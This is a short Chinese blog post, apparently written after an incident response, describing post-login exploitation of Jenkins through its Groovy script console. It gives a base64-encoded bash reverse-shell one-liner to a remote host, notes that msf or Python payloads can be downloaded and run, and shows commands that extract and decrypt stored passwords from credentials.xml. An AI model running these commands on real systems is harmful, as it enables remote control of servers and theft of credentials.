大柚子

这世界不过如此

前言

前段时间遭遇了一起jenkins入侵的应急,故这里记录一下关于jenkins利用的一些方式。

后台直接反弹shell

在登录Jenkins后台后,关于获取shell的方式有多种,这里讲讲在其中遇到的一些坑。

控制台反弹shell

问题所在

网上有很多写在脚本控制台用bash反弹shell会失败,然后换成msf生成反弹shell脚本后在Jenkins上下载执行,这样就能反弹成功。但为什么呢?

这里看结果能发现反弹命令执行是不成功的,why?因为注意看控制台上面写的这里的脚本命令行用的是Groovy script。


什么是Groovy script?
Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库。

在java中,通过 Runtime.getRuntime().exec() 执行命令有效负载会导致失败。使用 Web Shell,反序列化利用或通过其他媒介时,可能会发生这种情况。这是因为重定向和管道字符的使用方式在启动过程的上下文中没有意义。例如,ls > dir_listing 在 shell 中执行应将当前目录的列表输出到名为 dir_listing 的文件中。但是在 exec() 函数的上下文中,该命令将被解释为获取 > 和 dir_listing 目录的列表。

<strong>既然Groovy是基于JVM的语言,那么java语法会遇到的问题,这个语言同样会存在问题。</strong>
解决方法

1、这里可以借助Base64编码减少这些问题。可以通过调用Bash 或 Powershell来制作管道并重定向,以确保参数内没有空格。

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}&".execute().text

2、使用msf生成反弹shell脚本,在控制台下载并执行

3、生成py脚本,控制台远程下载并执行

后台获取ssh、svn、git密码

Jenkins 使用 AES 来加密和保护机密、凭证及其各自的加密密钥。这些加密密钥

$JENKINS_HOME/secrets/
与用于保护所述密钥的主密钥一起存储。

脚本控制台直接读取密码并解密

jenkins的credentials.xml文件中存储了很多账号,但是里面的密码都是经过加密处理的,账号信息格式如下。

println "pwd".execute().text
println "ls -l credentials.xml".execute().text
println "grep -oP (?<=<password>){.*?}(?=</password>)  credentials.xml ".execute().text

解密credentials明文密码

执行下面的代码,中间为上面获取的加密凭据。

println hudson.util.Secret.decrypt("{AQAAABAAAAAgWnG7D2ZwQ/T8baZTRf8tCkmLXxLgef+3AbVjbhccvKtT0AYT+nQcCxXrnklCxJUW}")
Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。